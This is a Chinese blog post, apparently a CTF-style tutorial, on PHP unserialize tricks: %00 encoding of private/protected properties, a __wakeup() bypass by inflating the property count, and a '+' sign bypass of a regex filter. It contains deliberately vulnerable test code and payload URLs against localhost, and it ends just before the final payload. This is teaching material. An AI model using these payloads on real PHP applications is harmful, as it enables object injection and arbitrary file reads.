<!DOCTYPE html>



  


<html class="theme-next mist use-motion" lang="">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">



  
  
    
    
  <script src="/lib/pace/pace.min.js?v=1.0.2"></script>
  <link href="/lib/pace/pace-theme-minimal.min.css?v=1.0.2" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="系统总结,">










<meta name="description" content="private与protected问题private当类内对象为private属性时，生成序列化字符串后会有一些不同，例如如下代码 1234567891011121314151617&amp;lt;?phpclass Student &amp;#123;    private $name = &apos;yemoli&apos;;    public $sex = &apos;man&apos;;    function __destruct() &amp;#">
<meta name="keywords" content="系统总结">
<meta property="og:type" content="article">
<meta property="og:title" content="反序列化相关问题注意点">
<meta property="og:url" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/index.html">
<meta property="og:site_name" content="yemoli&#39;s blog">
<meta property="og:description" content="private与protected问题private当类内对象为private属性时，生成序列化字符串后会有一些不同，例如如下代码 1234567891011121314151617&amp;lt;?phpclass Student &amp;#123;    private $name = &apos;yemoli&apos;;    public $sex = &apos;man&apos;;    function __destruct() &amp;#">
<meta property="og:locale" content="default">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/1.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/2.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/3.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/4.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/5.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/6.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/7.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/8.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/9.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/10.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/11.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/12.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/13.png">
<meta property="og:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/14.png">
<meta property="og:updated_time" content="2019-07-15T00:43:27.471Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="反序列化相关问题注意点">
<meta name="twitter:description" content="private与protected问题private当类内对象为private属性时，生成序列化字符串后会有一些不同，例如如下代码 1234567891011121314151617&amp;lt;?phpclass Student &amp;#123;    private $name = &apos;yemoli&apos;;    public $sex = &apos;man&apos;;    function __destruct() &amp;#">
<meta name="twitter:image" content="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/1.png">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Mist',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: 'Author'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/">





  <title>反序列化相关问题注意点 | yemoli's blog</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="default">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>
    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">yemoli's blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            Home
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            About
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
            
            Tags
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            Archives
          </a>
        </li>
      
        
        <li class="menu-item menu-item-friends">
          <a href="/friends/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-sitemap"></i> <br>
            
            friends
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://yml-sec.top/2019/07/14/反序列化相关问题注意点/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="夜莫离、">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="yemoli's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">反序列化相关问题注意点</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-07-14T20:03:48+08:00">
                2019-07-14
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Words count in article&#58;</span>
                
                <span title="Words count in article">
                  1.8k
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Reading time &asymp;</span>
                
                <span title="Reading time">
                  8
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <h1 id="private与protected问题"><a href="#private与protected问题" class="headerlink" title="private与protected问题"></a>private与protected问题</h1><h2 id="private"><a href="#private" class="headerlink" title="private"></a>private</h2><p>当类内对象为private属性时，生成序列化字符串后会有一些不同，例如如下代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> $name = <span class="string">'yemoli'</span>;</span><br><span class="line">    <span class="keyword">public</span> $sex = <span class="string">'man'</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    	<span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'__destruct is working'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'I am:'</span> . <span class="keyword">$this</span>-&gt;name;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$a = <span class="keyword">new</span> Student();</span><br><span class="line">$b = serialize($a);</span><br><span class="line"><span class="keyword">echo</span> $b;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>生成的序列化字符串如下</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/1.png" alt=""></p>
<p>可以看到与public属性时的不同，在这时我们构造序列化字符串时可以使用%00代替两个奇怪的字符</p>
<figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">O</span><span class="selector-pseudo">:7</span><span class="selector-pseudo">:"Student"</span><span class="selector-pseudo">:2</span>:&#123;<span class="attribute">s</span>:<span class="number">13</span>:<span class="string">"%00Student%00name"</span>;<span class="attribute">s</span>:<span class="number">6</span>:<span class="string">"yemoli"</span>;<span class="attribute">s</span>:<span class="number">3</span>:<span class="string">"sex"</span>;<span class="attribute">s</span>:<span class="number">3</span>:<span class="string">"man"</span>;&#125;</span><br></pre></td></tr></table></figure>
<p>验证代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> $name = <span class="string">'Zhangsan'</span>;</span><br><span class="line">    <span class="keyword">public</span> $sex = <span class="string">'man'</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    	<span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'__destruct is working'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'I am:'</span> . <span class="keyword">$this</span>-&gt;name;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$a = $_GET[<span class="string">'str'</span>];</span><br><span class="line">unserialize($a);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>payload:</p>
<figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://<span class="number">127.0</span>.<span class="number">0.1</span>/test2.php?str=O:<span class="number">7</span>:<span class="string">"Student"</span>:<span class="number">2</span>:&#123;s:<span class="number">13</span>:<span class="string">"%00Student%00name"</span>;s:<span class="number">6</span>:<span class="string">"yemoli"</span>;s:<span class="number">3</span>:<span class="string">"sex"</span>;s:<span class="number">3</span>:<span class="string">"man"</span>;&#125;</span><br></pre></td></tr></table></figure>
<p>result：</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/2.png" alt=""></p>
<h2 id="protected"><a href="#protected" class="headerlink" title="protected"></a>protected</h2><p>使用如下代码生成序列化字符串</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $name = <span class="string">'yemoli'</span>;</span><br><span class="line">    <span class="keyword">public</span> $sex = <span class="string">'man'</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    	<span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'__destruct is working'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'I am:'</span> . <span class="keyword">$this</span>-&gt;name;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$a = <span class="keyword">new</span> Student();</span><br><span class="line">$b = serialize($a);</span><br><span class="line"><span class="keyword">echo</span> $b;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>我们看一下生成的序列化代码</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/3.png" alt=""></p>
<p>这时会发现在protected属性时还会生成一个*，同样的把不可见字符替换为%00即可</p>
<figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">O</span><span class="selector-pseudo">:7</span><span class="selector-pseudo">:"Student"</span><span class="selector-pseudo">:2</span>:&#123;<span class="attribute">s</span>:<span class="number">7</span>:<span class="string">"%00*%00name"</span>;<span class="attribute">s</span>:<span class="number">6</span>:<span class="string">"yemoli"</span>;<span class="attribute">s</span>:<span class="number">3</span>:<span class="string">"sex"</span>;<span class="attribute">s</span>:<span class="number">3</span>:<span class="string">"man"</span>;&#125;</span><br></pre></td></tr></table></figure>
<p>验证代码：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $name = <span class="string">'Zhangsan'</span>;</span><br><span class="line">    <span class="keyword">public</span> $sex = <span class="string">'man'</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    	<span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'__destruct is working'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'I am:'</span> . <span class="keyword">$this</span>-&gt;name;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$a = $_GET[<span class="string">'str'</span>];</span><br><span class="line">unserialize($a);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>payload:</p>
<figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://<span class="number">127.0</span>.<span class="number">0.1</span>/test2.php?str=O:<span class="number">7</span>:<span class="string">"Student"</span>:<span class="number">2</span>:&#123;s:<span class="number">7</span>:<span class="string">"%00*%00name"</span>;s:<span class="number">6</span>:<span class="string">"yemoli"</span>;s:<span class="number">3</span>:<span class="string">"sex"</span>;s:<span class="number">3</span>:<span class="string">"man"</span>;&#125;</span><br></pre></td></tr></table></figure>
<p>result:</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/4.png" alt=""></p>
<h1 id="wakeup-绕过"><a href="#wakeup-绕过" class="headerlink" title="__wakeup()绕过"></a>__wakeup()绕过</h1><p>经测试该方法仅适用于php5.5及以下版本</p>
<p>生成代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $name = <span class="string">'yemoli'</span>;</span><br><span class="line">    <span class="keyword">public</span> $sex = <span class="string">'man'</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    	<span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'__destruct is working'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'I am:'</span> . <span class="keyword">$this</span>-&gt;name;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$a = <span class="keyword">new</span> Student();</span><br><span class="line">$b = serialize($a);</span><br><span class="line"><span class="keyword">echo</span> $b;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>正常生成的是这样的</p>
<figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">O</span><span class="selector-pseudo">:7</span><span class="selector-pseudo">:"Student"</span><span class="selector-pseudo">:2</span>:&#123;<span class="attribute">s</span>:<span class="number">7</span>:<span class="string">"%00*%00name"</span>;<span class="attribute">s</span>:<span class="number">6</span>:<span class="string">"yemoli"</span>;<span class="attribute">s</span>:<span class="number">3</span>:<span class="string">"sex"</span>;<span class="attribute">s</span>:<span class="number">3</span>:<span class="string">"man"</span>;&#125;</span><br></pre></td></tr></table></figure>
<p>想要绕过wakeup函数我们需要使student后的数值大于现在的数值例如将2改为3</p>
<figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">O</span><span class="selector-pseudo">:7</span><span class="selector-pseudo">:"Student"</span><span class="selector-pseudo">:3</span>:&#123;<span class="attribute">s</span>:<span class="number">7</span>:<span class="string">"%00*%00name"</span>;<span class="attribute">s</span>:<span class="number">6</span>:<span class="string">"yemoli"</span>;<span class="attribute">s</span>:<span class="number">3</span>:<span class="string">"sex"</span>;<span class="attribute">s</span>:<span class="number">3</span>:<span class="string">"man"</span>;&#125;</span><br></pre></td></tr></table></figure>
<p>验证代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $name = <span class="string">'Zhangsan'</span>;</span><br><span class="line">    <span class="keyword">public</span> $sex = <span class="string">'man'</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    	<span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'__destruct is working'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'I am:'</span> . <span class="keyword">$this</span>-&gt;name;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">' __wake is working'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'I am:'</span> . <span class="keyword">$this</span>-&gt;name = <span class="string">'zhangsan'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$a = $_GET[<span class="string">'str'</span>];</span><br><span class="line">unserialize($a);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>payload</p>
<figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://<span class="number">127.0</span>.<span class="number">0.1</span>/test2.php?str=O:<span class="number">7</span>:<span class="string">"Student"</span>:<span class="number">3</span>:&#123;s:<span class="number">7</span>:<span class="string">"%00*%00name"</span>;s:<span class="number">6</span>:<span class="string">"yemoli"</span>;s:<span class="number">3</span>:<span class="string">"sex"</span>;s:<span class="number">3</span>:<span class="string">"man"</span>;&#125;</span><br></pre></td></tr></table></figure>
<p>成功的绕过了__wakeup()</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/5.png" alt=""></p>
<h1 id="使用-绕过"><a href="#使用-绕过" class="headerlink" title="使用+绕过"></a>使用+绕过</h1><p>该方法在PHP5.6.24版本已被修复</p>
<p>有如下题目代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span>  </span><br><span class="line">@error_reporting(<span class="number">1</span>); </span><br><span class="line"><span class="keyword">include</span> <span class="string">'flag.php'</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">baby</span> </span></span><br><span class="line"><span class="class"></span>&#123;   </span><br><span class="line">    <span class="keyword">public</span> $file;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__toString</span><span class="params">()</span>      </span></span><br><span class="line"><span class="function">    </span>&#123;          </span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>-&gt;file)) </span><br><span class="line">        &#123;</span><br><span class="line">            $filename = <span class="string">"./&#123;$this-&gt;file&#125;"</span>;        </span><br><span class="line">            <span class="keyword">if</span> (file_get_contents($filename))         </span><br><span class="line">            &#123;              </span><br><span class="line">                <span class="keyword">return</span> file_get_contents($filename); </span><br><span class="line">            &#125; </span><br><span class="line">        &#125;     </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;  </span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'data'</span>]))  </span><br><span class="line">&#123; </span><br><span class="line">    $data = $_GET[<span class="string">'data'</span>];</span><br><span class="line">    preg_match(<span class="string">'/[oc]:\d+:/i'</span>,$data,$matches);</span><br><span class="line">    <span class="keyword">if</span>(count($matches))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">'Hacker!'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        $good = unserialize($data);</span><br><span class="line">        <span class="keyword">echo</span> $good;</span><br><span class="line">    &#125;     </span><br><span class="line">&#125; </span><br><span class="line"><span class="keyword">else</span> </span><br><span class="line">&#123; </span><br><span class="line">    highlight_file(<span class="string">"./test3.php"</span>); </span><br><span class="line">&#125; </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>注意这里</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">preg_match(<span class="string">'/[oc]:\d+:/i'</span>,$data,$matches);</span><br></pre></td></tr></table></figure>
<p>正常编写利用代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">baby</span> </span></span><br><span class="line"><span class="class"></span>&#123;   </span><br><span class="line">    <span class="keyword">public</span> $file= <span class="string">"flag.php"</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__toString</span><span class="params">()</span>      </span></span><br><span class="line"><span class="function">    </span>&#123;          </span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>-&gt;file)) </span><br><span class="line">        &#123;</span><br><span class="line">            $filename = <span class="string">"./&#123;$this-&gt;file&#125;"</span>;        </span><br><span class="line">            <span class="keyword">if</span> (file_get_contents($filename))         </span><br><span class="line">            &#123;              </span><br><span class="line">                <span class="keyword">return</span> file_get_contents($filename); </span><br><span class="line">            &#125; </span><br><span class="line">        &#125;     </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;  </span><br><span class="line">$a = <span class="keyword">new</span> baby();</span><br><span class="line">$b = serialize($a);</span><br><span class="line"><span class="keyword">echo</span> $b;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>得到</p>
<figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">O</span><span class="selector-pseudo">:4</span><span class="selector-pseudo">:"baby"</span><span class="selector-pseudo">:1</span>:&#123;<span class="attribute">s</span>:<span class="number">4</span>:<span class="string">"file"</span>;<span class="attribute">s</span>:<span class="number">8</span>:<span class="string">"flag.php"</span>;&#125;</span><br></pre></td></tr></table></figure>
<p>为了绕过正则，在fuzz后发现可以使用加号进行绕过，但注意需要URL编码一下，因为在某些时候+直接使用会被当成空格来处理</p>
<p>payload：</p>
